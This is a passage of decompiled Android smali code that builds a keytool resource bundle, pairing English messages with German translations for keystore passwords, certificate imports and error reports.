                                                                              146aput-object v2, v0, v1
                                                                              147const/16 v1, 0x10
                                                                              148new-array v2, v6, [Ljava/lang/Object;
                                                                              150const-string v3, "-keypass and -new can not be specified if -storetype is {0}"
                                                                              151aput-object v3, v2, v4
                                                                              153const-string v3, "Die Befehle -keypass und -new k\u00f6nnen nicht spezifiziert werden, wenn -storetype gleich {0} ist"
                                                                              154aput-object v3, v2, v5
                                                                              155aput-object v2, v0, v1
                                                                              156const/16 v1, 0x11
                                                                              157new-array v2, v6, [Ljava/lang/Object;
                                                                              159const-string v3, "if -protected is specified, then -storepass, -keypass, and -new must not be specified"
                                                                              160aput-object v3, v2, v4
                                                                              162const-string v3, "Wenn -protected angegeben ist, d\u00fcrfen -storepass, -keypass und -new nicht angegeben werden"
                                                                              163aput-object v3, v2, v5
                                                                              164aput-object v2, v0, v1
                                                                              165const/16 v1, 0x12
                                                                              166new-array v2, v6, [Ljava/lang/Object;
                                                                              168const-string v3, "if -srcprotected is specified, then -srcstorepass and -srckeypass must not be specified"
                                                                              169aput-object v3, v2, v4
                                                                              171const-string v3, "wenn -srcprotected angegeben ist, d\u00fcrfen -srcstorepass und -srckeypass nicht angegeben sein"
                                                                              172aput-object v3, v2, v5
                                                                              173aput-object v2, v0, v1
                                                                              174const/16 v1, 0x13
                                                                              175new-array v2, v6, [Ljava/lang/Object;
                                                                              177const-string v3, "if keystore is not password protected, then -storepass, -keypass, and -new must not be specified"
                                                                              178aput-object v3, v2, v4
                                                                              180const-string v3, "Wenn der Keystore nicht passwortgesch\u00fctzt ist, d\u00fcrfen -storepass, -keypass und -new nicht spezifiziert werden"
                                                                              181aput-object v3, v2, v5
                                                                              182aput-object v2, v0, v1
                                                                              183const/16 v1, 0x14
                                                                              184new-array v2, v6, [Ljava/lang/Object;
                                                                              186const-string v3, "if source keystore is not password protected, then -srcstorepass and -srckeypass must not be specified"
                                                                              187aput-object v3, v2, v4
                                                                              189const-string v3, "Wenn der Quell-Keystore nicht passwortgesch\u00fctzt ist, d\u00fcrfen -srcstorepass und -srckeypass nicht spezifiziert werden"
                                                                              190aput-object v3, v2, v5
                                                                              191aput-object v2, v0, v1
                                                                              192const/16 v1, 0x15
                                                                              193new-array v2, v6, [Ljava/lang/Object;
                                                                              195const-string v3, "Validity must be greater than zero"
                                                                              196aput-object v3, v2, v4
                                                                              198const-string v3, "G\u00fcltigkeit muss gr\u00f6\u00dfer als Null sein"
                                                                              199aput-object v3, v2, v5
                                                                              200aput-object v2, v0, v1
                                                                              201const/16 v1, 0x16
                                                                              202new-array v2, v6, [Ljava/lang/Object;
                                                                              204const-string v3, "provName not a provider"
                                                                              205aput-object v3, v2, v4
                                                                              207const-string v3, "{0} kein Provider"
                                                                              208aput-object v3, v2, v5
                                                                              209aput-object v2, v0, v1
                                                                              210const/16 v1, 0x17
                                                                              211new-array v2, v6, [Ljava/lang/Object;
                                                                              213const-string v3, "Usage error: no command provided"
                                                                              214aput-object v3, v2, v4
                                                                              216const-string v3, "Verwendungsfehler: kein Befehl angegeben"
                                                                              217aput-object v3, v2, v5
                                                                              218aput-object v2, v0, v1
                                                                              219const/16 v1, 0x18
                                                                              220new-array v2, v6, [Ljava/lang/Object;
                                                                              222const-string v3, "Usage error, <arg> is not a legal command"
                                                                              223aput-object v3, v2, v4
                                                                              225const-string v3, "Verwendungsfehler: {0} ist kein g\u00fcltiger Befehl"
                                                                              226aput-object v3, v2, v5
                                                                              227aput-object v2, v0, v1
                                                                              228const/16 v1, 0x19
                                                                              229new-array v2, v6, [Ljava/lang/Object;
                                                                              231const-string v3, "Source keystore file exists, but is empty: "
                                                                              232aput-object v3, v2, v4
                                                                              234const-string v3, "Datei f\u00fcr Quell-Keystore ist zwar vorhanden, aber leer: "
                                                                              235aput-object v3, v2, v5
                                                                              236aput-object v2, v0, v1
                                                                              237const/16 v1, 0x1a
                                                                              238new-array v2, v6, [Ljava/lang/Object;
                                                                              240const-string v3, "Please specify -srckeystore"
                                                                              241aput-object v3, v2, v4
                                                                              243const-string v3, "Geben Sie \u0096srckeystore an"
                                                                              244aput-object v3, v2, v5
                                                                              245aput-object v2, v0, v1
                                                                              246const/16 v1, 0x1b
                                                                              247new-array v2, v6, [Ljava/lang/Object;
                                                                              249const-string v3, "Must not specify both -v and -rfc with \'list\' command"
                                                                              250aput-object v3, v2, v4
                                                                              252const-string v3, "-v und -rfc d\u00fcrfen bei Befehl \'list\' nicht beide angegeben werden"
                                                                              253aput-object v3, v2, v5
                                                                              254aput-object v2, v0, v1
                                                                              255const/16 v1, 0x1c
                                                                              256new-array v2, v6, [Ljava/lang/Object;
                                                                              258const-string v3, "Key password must be at least 6 characters"
                                                                              259aput-object v3, v2, v4
                                                                              261const-string v3, "Schl\u00fcsselpasswort muss mindestens 6 Zeichen lang sein"
                                                                              262aput-object v3, v2, v5
                                                                              263aput-object v2, v0, v1
                                                                              264const/16 v1, 0x1d
                                                                              265new-array v2, v6, [Ljava/lang/Object;
                                                                              267const-string v3, "New password must be at least 6 characters"
                                                                              268aput-object v3, v2, v4
                                                                              270const-string v3, "Neues Passwort muss mindest 6 Zeichen lang sein"
                                                                              271aput-object v3, v2, v5
                                                                              272aput-object v2, v0, v1
                                                                              273const/16 v1, 0x1e
                                                                              274new-array v2, v6, [Ljava/lang/Object;
                                                                              276const-string v3, "Keystore file exists, but is empty: "
                                                                              277aput-object v3, v2, v4
                                                                              279const-string v3, "Keystore-Datei vorhanden, aber leer: "
                                                                              280aput-object v3, v2, v5
                                                                              281aput-object v2, v0, v1
                                                                              282const/16 v1, 0x1f
                                                                              283new-array v2, v6, [Ljava/lang/Object;
                                                                              285const-string v3, "Keystore file does not exist: "
                                                                              286aput-object v3, v2, v4
                                                                              288const-string v3, "Keystore-Datei nicht vorhanden: "
                                                                              289aput-object v3, v2, v5
                                                                              290aput-object v2, v0, v1
                                                                              291const/16 v1, 0x20
                                                                              292new-array v2, v6, [Ljava/lang/Object;
                                                                              294const-string v3, "Must specify destination alias"
                                                                              295aput-object v3, v2, v4
                                                                              297const-string v3, "Zielalias muss angegeben werden."
                                                                              298aput-object v3, v2, v5
                                                                              299aput-object v2, v0, v1
                                                                              300const/16 v1, 0x21
                                                                              301new-array v2, v6, [Ljava/lang/Object;
                                                                              303const-string v3, "Must specify alias"
                                                                              304aput-object v3, v2, v4
                                                                              306const-string v3, "Alias muss angegeben werden."
                                                                              307aput-object v3, v2, v5
                                                                              308aput-object v2, v0, v1
                                                                              309const/16 v1, 0x22
                                                                              310new-array v2, v6, [Ljava/lang/Object;
                                                                              312const-string v3, "Keystore password must be at least 6 characters"
                                                                              313aput-object v3, v2, v4
                                                                              315const-string v3, "Keystore-Passwort muss mindestens 6 Zeichen lang sein."
                                                                              316aput-object v3, v2, v5
                                                                              317aput-object v2, v0, v1
                                                                              318const/16 v1, 0x23
                                                                              319new-array v2, v6, [Ljava/lang/Object;
                                                                              321const-string v3, "Enter keystore password: "
                                                                              322aput-object v3, v2, v4
                                                                              324const-string v3, "Geben Sie das Keystore-Passwort ein: "
                                                                              325aput-object v3, v2, v5
                                                                              326aput-object v2, v0, v1
                                                                              327const/16 v1, 0x24
                                                                              328new-array v2, v6, [Ljava/lang/Object;
                                                                              330const-string v3, "Enter source keystore password: "
                                                                              331aput-object v3, v2, v4
                                                                              333const-string v3, "Geben Sie das Passwort f\u00fcr den Quell-Keystore ein: "
                                                                              334aput-object v3, v2, v5
                                                                              335aput-object v2, v0, v1
                                                                              336const/16 v1, 0x25
                                                                              337new-array v2, v6, [Ljava/lang/Object;
                                                                              339const-string v3, "Enter destination keystore password: "
                                                                              340aput-object v3, v2, v4
                                                                              342const-string v3, "Geben Sie das Passwort f\u00fcr den Ziel-Keystore ein: "
                                                                              343aput-object v3, v2, v5
                                                                              344aput-object v2, v0, v1
                                                                              345const/16 v1, 0x26
                                                                              346new-array v2, v6, [Ljava/lang/Object;
                                                                              348const-string v3, "Keystore password is too short - must be at least 6 characters"
                                                                              349aput-object v3, v2, v4
                                                                              351const-string v3, "Keystore-Passwort zu kurz - muss mindestens 6 Zeichen lang sein."
                                                                              352aput-object v3, v2, v5
                                                                              353aput-object v2, v0, v1
                                                                              354const/16 v1, 0x27
                                                                              355new-array v2, v6, [Ljava/lang/Object;
                                                                              357const-string v3, "Unknown Entry Type"
                                                                              358aput-object v3, v2, v4
                                                                              360const-string v3, "Unbekannter Eintragstyp"
                                                                              361aput-object v3, v2, v5
                                                                              362aput-object v2, v0, v1
                                                                              363const/16 v1, 0x28
                                                                              364new-array v2, v6, [Ljava/lang/Object;
                                                                              366const-string v3, "Too many failures. Alias not changed"
                                                                              367aput-object v3, v2, v4
                                                                              369const-string v3, "Zu viele Fehler. Alias nicht ge\u00e4ndert"
                                                                              370aput-object v3, v2, v5
                                                                              371aput-object v2, v0, v1
                                                                              372const/16 v1, 0x29
                                                                              373new-array v2, v6, [Ljava/lang/Object;
                                                                              375const-string v3, "Entry for alias <alias> successfully imported."
                                                                              376aput-object v3, v2, v4
                                                                              378const-string v3, "Eintrag f\u00fcr Alias {0} erfolgreich importiert."
                                                                              379aput-object v3, v2, v5
                                                                              380aput-object v2, v0, v1
                                                                              381const/16 v1, 0x2a
                                                                              382new-array v2, v6, [Ljava/lang/Object;
                                                                              384const-string v3, "Entry for alias <alias> not imported."
                                                                              385aput-object v3, v2, v4
                                                                              387const-string v3, "Eintrag f\u00fcr Alias {0} nicht importiert."
                                                                              388aput-object v3, v2, v5
                                                                              389aput-object v2, v0, v1
                                                                              390const/16 v1, 0x2b
                                                                              391new-array v2, v6, [Ljava/lang/Object;
                                                                              393const-string v3, "Problem importing entry for alias <alias>: <exception>.\nEntry for alias <alias> not imported."
                                                                              394aput-object v3, v2, v4
                                                                              396const-string v3, "Fehler beim Importieren des Eintrags f\u00fcr Alias {0}: {1}.\nEintrag f\u00fcr Alias {0} nicht importiert."
                                                                              397aput-object v3, v2, v5
                                                                              398aput-object v2, v0, v1
                                                                              399const/16 v1, 0x2c
                                                                              400new-array v2, v6, [Ljava/lang/Object;
                                                                              402const-string v3, "Import command completed: <ok> entries successfully imported, <fail> entries failed or cancelled"
                                                                              403aput-object v3, v2, v4
                                                                              405const-string v3, "Importbefehl abgeschlossen: {0} Eintr\u00e4ge erfolgreich importiert, Fehler oder Abbruch bei {1} Eintr\u00e4gen"
                                                                              406aput-object v3, v2, v5
                                                                              407aput-object v2, v0, v1
                                                                              408const/16 v1, 0x2d
                                                                              409new-array v2, v6, [Ljava/lang/Object;
                                                                              411const-string v3, "Warning: Overwriting existing alias <alias> in destination keystore"
                                                                              412aput-object v3, v2, v4
                                                                              414const-string v3, "Warnung: \u00dcberschreiben von vorhandenem Alias {0} in Ziel-Keystore"
                                                                              415aput-object v3, v2, v5
                                                                              416aput-object v2, v0, v1
                                                                              417const/16 v1, 0x2e
                                                                              418new-array v2, v6, [Ljava/lang/Object;
                                                                              420const-string v3, "Existing entry alias <alias> exists, overwrite? [no]: "
                                                                              421aput-object v3, v2, v4
                                                                              423const-string v3, "Eintrags-Alias {0} bereits vorhanden. \u00dcberschreiben? [Nein]: "
                                                                              424aput-object v3, v2, v5
                                                                              425aput-object v2, v0, v1
                                                                              426const/16 v1, 0x2f
                                                                              427new-array v2, v6, [Ljava/lang/Object;
                                                                              429const-string v3, "Too many failures - try later"
                                                                              430aput-object v3, v2, v4
                                                                              432const-string v3, "Zu viele Fehler - versuchen Sie es sp\u00e4ter noch einmal."
                                                                              433aput-object v3, v2, v5
                                                                              434aput-object v2, v0, v1
                                                                              435const/16 v1, 0x30
                                                                              436new-array v2, v6, [Ljava/lang/Object;
                                                                              438const-string v3, "Certification request stored in file <filename>"
                                                                              439aput-object v3, v2, v4
                                                                              441const-string v3, "Zertifizierungsanforderung in Datei <{0}> gespeichert."
                                                                              442aput-object v3, v2, v5
                                                                              443aput-object v2, v0, v1
                                                                              444const/16 v1, 0x31
                                                                              445new-array v2, v6, [Ljava/lang/Object;
                                                                              447const-string v3, "Submit this to your CA"
                                                                              448aput-object v3, v2, v4
                                                                              450const-string v3, "Reichen Sie dies bei Ihrem CA ein."
                                                                              451aput-object v3, v2, v5
                                                                              452aput-object v2, v0, v1
                                                                              453const/16 v1, 0x32
                                                                              454new-array v2, v6, [Ljava/lang/Object;
                                                                              456const-string v3, "if alias not specified, destalias, srckeypass, and destkeypass must not be specified"
                                                                              457aput-object v3, v2, v4
                                                                              459const-string v3, "wenn kein Alias angegeben ist, m\u00fcssen destalias, srckeypass und destkeypass nicht angegeben werden"
                                                                              460aput-object v3, v2, v5
                                                                              461aput-object v2, v0, v1
                                                                              462const/16 v1, 0x33
                                                                              463new-array v2, v6, [Ljava/lang/Object;
                                                                              465const-string v3, "Certificate stored in file <filename>"
                                                                              466aput-object v3, v2, v4
                                                                              468const-string v3, "Zertifikat in Datei <{0}> gespeichert."
                                                                              469aput-object v3, v2, v5
                                                                              470aput-object v2, v0, v1
                                                                              471const/16 v1, 0x34
                                                                              472new-array v2, v6, [Ljava/lang/Object;
                                                                              474const-string v3, "Certificate reply was installed in keystore"
                                                                              475aput-object v3, v2, v4
                                                                              477const-string v3, "Zertifikatantwort wurde in Keystore installiert."
                                                                              478aput-object v3, v2, v5
                                                                              479aput-object v2, v0, v1
                                                                              480const/16 v1, 0x35
                                                                              481new-array v2, v6, [Ljava/lang/Object;
                                                                              483const-string v3, "Certificate reply was not installed in keystore"
                                                                              484aput-object v3, v2, v4
                                                                              486const-string v3, "Zertifikatantwort wurde nicht in Keystore installiert."
                                                                              487aput-object v3, v2, v5
                                                                              488aput-object v2, v0, v1
                                                                              489const/16 v1, 0x36
                                                                              490new-array v2, v6, [Ljava/lang/Object;
                                                                              492const-string v3, "Certificate was added to keystore"
                                                                              493aput-object v3, v2, v4
                                                                              495const-string v3, "Zertifikat wurde zu Keystore hinzugef\u00fcgt."
                                                                              496aput-object v3, v2, v5
                                                                              497aput-object v2, v0, v1
                                                                              498const/16 v1, 0x37
                                                                              499new-array v2, v6, [Ljava/lang/Object;
                                                                              501const-string v3, "Certificate was not added to keystore"
                                                                              502aput-object v3, v2, v4
                                                                              504const-string v3, "Zertifikat wurde nicht zu Keystore hinzugef\u00fcgt."
                                                                              505aput-object v3, v2, v5
                                                                              506aput-object v2, v0, v1
                                                                              507const/16 v1, 0x38
                                                                              508new-array v2, v6, [Ljava/lang/Object;
                                                                              510const-string v3, "[Storing ksfname]"
                                                                              511aput-object v3, v2, v4
                                                                              513const-string v3, "[{0} wird gesichert.]"
                                                                              514aput-object v3, v2, v5
                                                                              515aput-object v2, v0, v1
                                                                              516const/16 v1, 0x39
                                                                              517new-array v2, v6, [Ljava/lang/Object;
                                                                              519const-string v3, "alias has no public key (certificate)"
                                                                              520aput-object v3, v2, v4
                                                                              522const-string v3, "{0} hat keinen \u00f6ffentlichen Schl\u00fcssel (Zertifikat)."
                                                                              523aput-object v3, v2, v5
                                                                              524aput-object v2, v0, v1
                                                                              525const/16 v1, 0x3a
                                                                              526new-array v2, v6, [Ljava/lang/Object;
                                                                              528const-string v3, "Cannot derive signature algorithm"
                                                                              529aput-object v3, v2, v4
                                                                              531const-string v3, "Signaturalgorithmus kann nicht abgeleitet werden."
                                                                              532aput-object v3, v2, v5
                                                                              533aput-object v2, v0, v1
                                                                              534const/16 v1, 0x3b
                                                                              535new-array v2, v6, [Ljava/lang/Object;
                                                                              537const-string v3, "Alias <alias> does not exist"
                                                                              538aput-object v3, v2, v4
                                                                              540const-string v3, "Alias <{0}> existiert nicht."
                                                                              541aput-object v3, v2, v5
                                                                              542aput-object v2, v0, v1
                                                                              543const/16 v1, 0x3c
                                                                              544new-array v2, v6, [Ljava/lang/Object;
                                                                              546const-string v3, "Alias <alias> has no certificate"
                                                                              547aput-object v3, v2, v4
                                                                              549const-string v3, "Alias <{0}> hat kein Zertifikat."
                                                                              550aput-object v3, v2, v5
                                                                              551aput-object v2, v0, v1
                                                                              552const/16 v1, 0x3d
                                                                              553new-array v2, v6, [Ljava/lang/Object;
                                                                              555const-string v3, "Key pair not generated, alias <alias> already exists"
                                                                              556aput-object v3, v2, v4
                                                                              558const-string v3, "Schl\u00fcsselpaar wurde nicht erzeugt, Alias <{0}> ist bereits vorhanden."
                                                                              559aput-object v3, v2, v5
                                                                              560aput-object v2, v0, v1
                                                                              561const/16 v1, 0x3e
                                                                              562new-array v2, v6, [Ljava/lang/Object;
                                                                              564const-string v3, "Cannot derive signature algorithm"
                                                                              565aput-object v3, v2, v4
                                                                              567const-string v3, "Signaturalgorithmus kann nicht abgeleitet werden."
                                                                              568aput-object v3, v2, v5
                                                                              569aput-object v2, v0, v1
                                                                              570const/16 v1, 0x3f
                                                                              571new-array v2, v6, [Ljava/lang/Object;
                                                                              573const-string v3, "Generating keysize bit keyAlgName key pair and self-signed certificate (sigAlgName) with a validity of validality days\n\tfor: x500Name"
                                                                              574aput-object v3, v2, v4
                                                                              576const-string v3, "Erstellen von Schl\u00fcsselpaar (Typ {1}, {0} Bit) und selbstunterzeichnetem Zertifikat ({2}) mit einer G\u00fcltigkeit von {3} Tagen\n\tf\u00fcr: {4}"
                                                                              577aput-object v3, v2, v5
                                                                              578aput-object v2, v0, v1
                                                                              579const/16 v1, 0x40
                                                                              580new-array v2, v6, [Ljava/lang/Object;
                                                                              582const-string v3, "Enter key password for <alias>"
                                                                              583aput-object v3, v2, v4
                                                                              585const-string v3, "Geben Sie das Passwort f\u00fcr <{0}> ein."
                                                                              586aput-object v3, v2, v5
                                                                              587aput-object v2, v0, v1
                                                                              588const/16 v1, 0x41
                                                                              589new-array v2, v6, [Ljava/lang/Object;
                                                                              591const-string v3, "\t(RETURN if same as keystore password): "
                                                                              592aput-object v3, v2, v4
                                                                              594const-string v3, "\t(EINGABETASTE, wenn Passwort dasselbe wie f\u00fcr Keystore): "
                                                                              595aput-object v3, v2, v5
                                                                              596aput-object v2, v0, v1
                                                                              597const/16 v1, 0x42
                                                                              598new-array v2, v6, [Ljava/lang/Object;
                                                                              600const-string v3, "Key password is too short - must be at least 6 characters"
                                                                              601aput-object v3, v2, v4
                                                                              603const-string v3, "Schl\u00fcsselpasswort zu kurz - muss mindestens 6 Zeichen lang sein."
                                                                              604aput-object v3, v2, v5
                                                                              605aput-object v2, v0, v1
                                                                              606const/16 v1, 0x43
                                                                              607new-array v2, v6, [Ljava/lang/Object;
                                                                              609const-string v3, "Too many failures - key not added to keystore"
                                                                              610aput-object v3, v2, v4
                                                                              612const-string v3, "Zu viele Fehler - Schl\u00fcssel wurde nicht zu Keystore hinzugef\u00fcgt."
                                                                              613aput-object v3, v2, v5
                                                                              614aput-object v2, v0, v1
                                                                              615const/16 v1, 0x44
                                                                              616new-array v2, v6, [Ljava/lang/Object;
                                                                              618const-string v3, "Destination alias <dest> already exists"
                                                                              619aput-object v3, v2, v4
                                                                              621const-string v3, "Zielalias <{0}> bereits vorhanden"
                                                                              622aput-object v3, v2, v5
                                                                              623aput-object v2, v0, v1
                                                                              624const/16 v1, 0x45
                                                                              625new-array v2, v6, [Ljava/lang/Object;
                                                                              627const-string v3, "Password is too short - must be at least 6 characters"
                                                                              628aput-object v3, v2, v4
                                                                              630const-string v3, "Passwort zu kurz - muss mindestens 6 Zeichen lang sein"
                                                                              631aput-object v3, v2, v5
                                                                              632aput-object v2, v0, v1
                                                                              633const/16 v1, 0x46
                                                                              634new-array v2, v6, [Ljava/lang/Object;
                                                                              636const-string v3, "Too many failures. Key entry not cloned"
                                                                              637aput-object v3, v2, v4
                                                                              639const-string v3, "Zu viele Fehler. Schl\u00fcsseleingabe wurde nicht dupliziert."
                                                                              640aput-object v3, v2, v5
                                                                              641aput-object v2, v0, v1
                                                                              642const/16 v1, 0x47
                                                                              643new-array v2, v6, [Ljava/lang/Object;
                                                                              645const-string v3, "key password for <alias>"
                                                                              646aput-object v3, v2, v4
                                                                              648const-string v3, "Schl\u00fcsselpasswort f\u00fcr <{0}>"
                                                                              649aput-object v3, v2, v5
                                                                              650aput-object v2, v0, v1
                                                                              651const/16 v1, 0x48
                                                                              652new-array v2, v6, [Ljava/lang/Object;
                                                                              654const-string v3, "Keystore entry for <id.getName()> already exists"
                                                                              655aput-object v3, v2, v4
                                                                              657const-string v3, "Keystore-Eintrag f\u00fcr <{0}> bereits vorhanden"
                                                                              658aput-object v3, v2, v5
                                                                              659aput-object v2, v0, v1
                                                                              660const/16 v1, 0x49
                                                                              661new-array v2, v6, [Ljava/lang/Object;
                                                                              663const-string v3, "Creating keystore entry for <id.getName()> ..."
                                                                              664aput-object v3, v2, v4
                                                                              666const-string v3, "Keystore-Eintrag f\u00fcr <{0}> wird erstellt ..."
                                                                              667aput-object v3, v2, v5
                                                                              668aput-object v2, v0, v1
                                                                              669const/16 v1, 0x4a
                                                                              670new-array v2, v6, [Ljava/lang/Object;
                                                                              672const-string v3, "No entries from identity database added"
                                                                              673aput-object v3, v2, v4
                                                                              675const-string v3, "Keine Eintr\u00e4ge von Identit\u00e4tsdatenbank hinzugef\u00fcgt"
                                                                              676aput-object v3, v2, v5
                                                                              677aput-object v2, v0, v1
                                                                              678const/16 v1, 0x4b
                                                                              679new-array v2, v6, [Ljava/lang/Object;
                                                                              681const-string v3, "Alias name: alias"
                                                                              682aput-object v3, v2, v4
                                                                              684const-string v3, "Aliasname: {0}"
                                                                              685aput-object v3, v2, v5
                                                                              686aput-object v2, v0, v1
                                                                              687const/16 v1, 0x4c
                                                                              688new-array v2, v6, [Ljava/lang/Object;
                                                                              690const-string v3, "Creation date: keyStore.getCreationDate(alias)"
                                                                              691aput-object v3, v2, v4
                                                                              693const-string v3, "Erstellungsdatum: {0,date}"
                                                                              694aput-object v3, v2, v5
                                                                              695aput-object v2, v0, v1
                                                                              696const/16 v1, 0x4d
                                                                              697new-array v2, v6, [Ljava/lang/Object;
                                                                              699const-string v3, "alias, keyStore.getCreationDate(alias), "
                                                                              700aput-object v3, v2, v4
                                                                              702const-string v3, "{0}, {1,date}, "
                                                                              703aput-object v3, v2, v5
                                                                              704aput-object v2, v0, v1
                                                                              705const/16 v1, 0x4e
                                                                              706new-array v2, v6, [Ljava/lang/Object;
                                                                              708const-string v3, "alias, "
                                                                              709aput-object v3, v2, v4
                                                                              711const-string v3, "{0}, "
                                                                              712aput-object v3, v2, v5
                                                                              713aput-object v2, v0, v1
                                                                              714const/16 v1, 0x4f
                                                                              715new-array v2, v6, [Ljava/lang/Object;
                                                                              717const-string v3, "Entry type: <type>"
                                                                              718aput-object v3, v2, v4
                                                                              720const-string v3, "Eintragstyp: {0}"
                                                                              721aput-object v3, v2, v5
                                                                              722aput-object v2, v0, v1
                                                                              723const/16 v1, 0x50
                                                                              724new-array v2, v6, [Ljava/lang/Object;
                                                                              726const-string v3, "Certificate chain length: "
                                                                              727aput-object v3, v2, v4
                                                                              729const-string v3, "Zertifikatskettenl\u00e4nge: "
                                                                              730aput-object v3, v2, v5
                                                                              731aput-object v2, v0, v1
                                                                              732const/16 v1, 0x51
                                                                              733new-array v2, v6, [Ljava/lang/Object;
                                                                              735const-string v3, "Certificate[(i + 1)]:"
                                                                              736aput-object v3, v2, v4
                                                                              738const-string v3, "Zertifikat[{0,number,integer}]:"
                                                                              739aput-object v3, v2, v5
                                                                              740aput-object v2, v0, v1
                                                                              741const/16 v1, 0x52
                                                                              742new-array v2, v6, [Ljava/lang/Object;
                                                                              744const-string v3, "Certificate fingerprint (MD5): "
                                                                              745aput-object v3, v2, v4
                                                                              747const-string v3, "Zertifikatsfingerabdruck (MD5): "
                                                                              748aput-object v3, v2, v5
                                                                              749aput-object v2, v0, v1
                                                                              750const/16 v1, 0x53
                                                                              751new-array v2, v6, [Ljava/lang/Object;
                                                                              753const-string v3, "Entry type: trustedCertEntry\n"
                                                                              754aput-object v3, v2, v4
                                                                              756const-string v3, "Eintragstyp: trustedCertEntry\n"
                                                                              757aput-object v3, v2, v5
                                                                              758aput-object v2, v0, v1
                                                                              759const/16 v1, 0x54
                                                                              760new-array v2, v6, [Ljava/lang/Object;
                                                                              762const-string v3, "trustedCertEntry,"
                                                                              763aput-object v3, v2, v4
                                                                              765const-string v3, "trustedCertEntry,"
                                                                              766aput-object v3, v2, v5
                                                                              767aput-object v2, v0, v1
                                                                              768const/16 v1, 0x55
                                                                              769new-array v2, v6, [Ljava/lang/Object;
                                                                              771const-string v3, "Keystore type: "
                                                                              772aput-object v3, v2, v4
                                                                              774const-string v3, "Keystore-Typ: "
                                                                              775aput-object v3, v2, v5
                                                                              776aput-object v2, v0, v1
                                                                              777const/16 v1, 0x56
                                                                              778new-array v2, v6, [Ljava/lang/Object;
                                                                              780const-string v3, "Keystore provider: "
                                                                              781aput-object v3, v2, v4
                                                                              783const-string v3, "Keystore-Provider: "
                                                                              784aput-object v3, v2, v5
                                                                              785aput-object v2, v0, v1
                                                                              786const/16 v1, 0x57
                                                                              787new-array v2, v6, [Ljava/lang/Object;
                                                                              789const-string v3, "Your keystore contains keyStore.size() entry"
                                                                              790aput-object v3, v2, v4
                                                                              792const-string v3, "Ihr Keystore enth\u00e4lt {0,number,integer} Eintrag/-\u00e4ge."
                                                                              793aput-object v3, v2, v5
                                                                              794aput-object v2, v0, v1
                                                                              795const/16 v1, 0x58
                                                                              796new-array v2, v6, [Ljava/lang/Object;
                                                                              798const-string v3, "Your keystore contains keyStore.size() entries"
                                                                              799aput-object v3, v2, v4
                                                                              801const-string v3, "Ihr Keystore enth\u00e4lt {0,number,integer} Eintr\u00e4ge."
                                                                              802aput-object v3, v2, v5
                                                                              803aput-object v2, v0, v1
                                                                              804const/16 v1, 0x59
                                                                              805new-array v2, v6, [Ljava/lang/Object;
                                                                              807const-string v3, "Failed to parse input"
                                                                              808aput-object v3, v2, v4
                                                                              810const-string v3, "Eingabe konnte nicht analysiert werden."
                                                                              811aput-object v3, v2, v5
                                                                              812aput-object v2, v0, v1
                                                                              813const/16 v1, 0x5a
                                                                              814new-array v2, v6, [Ljava/lang/Object;
                                                                              816const-string v3, "Empty input"
                                                                              817aput-object v3, v2, v4
                                                                              819const-string v3, "Leere Eingabe"
                                                                              820aput-object v3, v2, v5
                                                                              821aput-object v2, v0, v1
                                                                              822const/16 v1, 0x5b
                                                                              823new-array v2, v6, [Ljava/lang/Object;
                                                                              825const-string v3, "Not X.509 certificate"
                                                                              826aput-object v3, v2, v4
                                                                              828const-string v3, "Kein X.509-Zertifikat"
                                                                              829aput-object v3, v2, v5
                                                                              830aput-object v2, v0, v1
                                                                              831const/16 v1, 0x5c
                                                                              832new-array v2, v6, [Ljava/lang/Object;
                                                                              834const-string v3, "Cannot derive signature algorithm"
                                                                              835aput-object v3, v2, v4
                                                                              837const-string v3, "Signaturalgorithmus kann nicht abgeleitet werden."
                                                                              838aput-object v3, v2, v5
                                                                              839aput-object v2, v0, v1
                                                                              840const/16 v1, 0x5d
                                                                              841new-array v2, v6, [Ljava/lang/Object;
                                                                              843const-string v3, "alias has no public key"
                                                                              844aput-object v3, v2, v4
                                                                              846const-string v3, "{0} hat keinen \u00f6ffentlichen Schl\u00fcssel."
                                                                              847aput-object v3, v2, v5
                                                                              848aput-object v2, v0, v1
                                                                              849const/16 v1, 0x5e
                                                                              850new-array v2, v6, [Ljava/lang/Object;
                                                                              852const-string v3, "alias has no X.509 certificate"
                                                                              853aput-object v3, v2, v4
                                                                              855const-string v3, "{0} hat kein X.509-Zertifikat."
                                                                              856aput-object v3, v2, v5
                                                                              857aput-object v2, v0, v1
                                                                              858const/16 v1, 0x5f
                                                                              859new-array v2, v6, [Ljava/lang/Object;
                                                                              861const-string v3, "New certificate (self-signed):"
                                                                              862aput-object v3, v2, v4
                                                                              864const-string v3, "Neues Zertifikat (selbstsigniert):"
                                                                              865aput-object v3, v2, v5
                                                                              866aput-object v2, v0, v1
                                                                              867const/16 v1, 0x60
                                                                              868new-array v2, v6, [Ljava/lang/Object;
                                                                              870const-string v3, "Reply has no certificates"
                                                                              871aput-object v3, v2, v4
                                                                              873const-string v3, "Antwort hat keine Zertifikate."
                                                                              874aput-object v3, v2, v5
                                                                              875aput-object v2, v0, v1
                                                                              876const/16 v1, 0x61
                                                                              877new-array v2, v6, [Ljava/lang/Object;
                                                                              879const-string v3, "Certificate not imported, alias <alias> already exists"
                                                                              880aput-object v3, v2, v4
                                                                              882const-string v3, "Zertifikat nicht importiert, Alias <{0}> bereits vorhanden"
                                                                              883aput-object v3, v2, v5
                                                                              884aput-object v2, v0, v1
                                                                              885const/16 v1, 0x62
                                                                              886new-array v2, v6, [Ljava/lang/Object;
                                                                              888const-string v3, "Input not an X.509 certificate"
                                                                              889aput-object v3, v2, v4
                                                                              891const-string v3, "Eingabe kein X.509-Zertifikat"
                                                                              892aput-object v3, v2, v5
                                                                              893aput-object v2, v0, v1
                                                                              894const/16 v1, 0x63
                                                                              895new-array v2, v6, [Ljava/lang/Object;
                                                                              897const-string v3, "Certificate already exists in keystore under alias <trustalias>"
                                                                              898aput-object v3, v2, v4
                                                                              900const-string v3, "Zertifikat in Keystore bereits unter Alias <{0}> vorhanden"
                                                                              901aput-object v3, v2, v5
                                                                              902aput-object v2, v0, v1
                                                                              903const/16 v1, 0x64
                                                                              904new-array v2, v6, [Ljava/lang/Object;
                                                                              906const-string v3, "Do you still want to add it? [no]: "
                                                                              907aput-object v3, v2, v4
                                                                              909const-string v3, "M\u00f6chten Sie es trotzdem hinzuf\u00fcgen? [Nein]: "
                                                                              910aput-object v3, v2, v5
                                                                              911aput-object v2, v0, v1
                                                                              912const/16 v1, 0x65
                                                                              913new-array v2, v6, [Ljava/lang/Object;
                                                                              915const-string v3, "Certificate already exists in system-wide CA keystore under alias <trustalias>"
                                                                              916aput-object v3, v2, v4
